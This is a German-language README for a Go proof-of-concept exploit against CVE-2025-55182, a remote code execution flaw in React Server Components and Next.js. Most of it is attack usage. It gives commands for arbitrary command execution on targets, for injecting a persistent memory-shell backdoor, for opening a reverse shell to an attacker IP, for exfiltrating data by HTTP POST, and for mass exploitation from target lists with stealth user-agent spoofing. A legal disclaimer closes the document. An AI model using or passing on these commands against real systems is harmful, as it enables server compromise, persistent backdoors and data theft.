
CVE-2025-55182 React Server Components RCE - Go PoC
⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS ⚠️
CVE-2025-55182 (auch bekannt als CVE-2025-66478) ist eine kritische Remote-Code-Ausführungs-Schwachstelle in React Server Components (Flight-Protokoll). Dieses Tool ist eine Go-Implementierung des PoC für Sicherheitsforschung und autorisierte Penetrationstests.
Betroffene Versionen:
Der Exploit nutzt Prototype Pollution in der Flight-Protokoll-Deserialisierung aus:
$@-Deserialisierung, um eine Chunk-Referenz zu erhaltenChunk.prototype.then als die then-Eigenschaft des Root-ObjektsRESOLVED_MODEL, um initializeModelChunk mit einem kontrollierten Fake-Chunk aufzurufenresponse._formData.get mit der Angreifer-Nutzlast aufruftresponse._formData.get auf den Function-Konstruktor für beliebige Codeausführung/exec?cmd=Laden Sie die neueste Version für Ihre Plattform von den GitHub-Releases herunter.
Verfügbare Binärdateien:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
Nach dem Ausführen von ./build.sh stehen die Binärdateien im Verzeichnis build/ für alle unterstützten Plattformen zur Verfügung.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Beschreibung |
|---|---|
browser | Imitiert echte Browseranfragen (Chrome, Firefox, Safari, Edge) - Standard |
crawler | Imitiert Suchmaschinen-Crawler (Googlebot, Bingbot, Baiduspider, etc.) |
security | Verwendet User-Agents von Sicherheitsscannern (Nessus, Nuclei) |
Die Memory-Shell-Funktion injiziert einen permanenten Backdoor, der:
cmd-Abfrageparameter# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
Das Skript build.sh erstellt Binärdateien für über 30 Plattformen:
chmod +x build.sh
./build.sh
Bei Verwendung des --json-Flags werden die Ergebnisse im JSONL-Format gespeichert (ein JSON pro Zeile):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
Der vollständige Bericht (_report.json) enthält:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
Das Tool kann die Next.js-Version erkennen aus:
X-Powered-By-Header__NEXT_DATA__, /_next/-Pfade)Verwundbare Versionen werden rot hervorgehoben.
⚠️ WICHTIGER RECHTLICHER HINWEIS ⚠️
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.
Es ist strengstens verboten, dieses Tool zu verwenden:
Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen weltweit eine Straftat, einschließlich, aber nicht beschränkt auf:
DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG, WEDER AUSDRÜCKLICH NOCH STILLSCHWEIGEND, BEREITGESTELLT. DIE AUTOREN UND URHEBERRECHTSINHABER HAFTEN NICHT FÜR ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNG, DIE AUS DER NUTZUNG DIESER SOFTWARE ENTSTEHEN.
Durch Herunterladen, Installieren oder Verwenden dieses Tools erkennen Sie an, dass:
Wenn Sie diesen Bedingungen nicht zustimmen, verwenden Sie dieses Tool nicht.
Vladislav Tislenko aka keklick1337
Datum: 2025-12-05
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Verwenden Sie es verantwortungsvoll. Bleiben Sie legal. 🔐
| Option | Beschreibung |
|---|
-u, --url | Ziel-URL (z.B. http://localhost:3000) |
-f, --file | Datei mit Ziel-URLs (eine pro Zeile) |
--urls | Alias für -f/--file |
-o, --output | Ausgabedatei für verwundbare Ziele |
--json | Ergebnisse im JSON-Format ausgeben |
-c, --command | Auszuführender Befehl (mit Ausgabe) |
--check | Auf Schwachstelle prüfen |
--version-check | Next.js-Version erkennen |
--proxy | Proxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Benutzerdefinierter Header (mehrfach verwendbar) |
-k, --insecure | SSL/TLS-Zertifikatsprüfung überspringen |
--stealth | Stealth-Modus: browser, crawler, security (Standard: browser) |
--delay | Verzögerung zwischen Anfragen (z.B. 2s, 500ms) |
--variants | Mehrere Payload-Varianten für gründliche Prüfung verwenden |
--memshell | Memory-Shell injizieren (permanenter Backdoor) |
--test-shell | Testen, ob Memory-Shell aktiv ist |
--shell-exec | Befehl über Memory-Shell ausführen |
--revshell IP PORT | Reverse-Shell herstellen |
--exfil CMD IP PORT | Befehl ausführen und Ausgabe per POST senden |
-t, --timeout | Timeout für Anfragen in Sekunden (Standard: 15) |
--threads | Anzahl gleichzeitiger Threads (Standard: 10) |
--workers | Alias für --threads |
--nocolor | Farbausgabe deaktivieren (für Windows/Pipes) |
-h, --help | Hilfemeldung anzeigen |
-v, --version | Version anzeigen |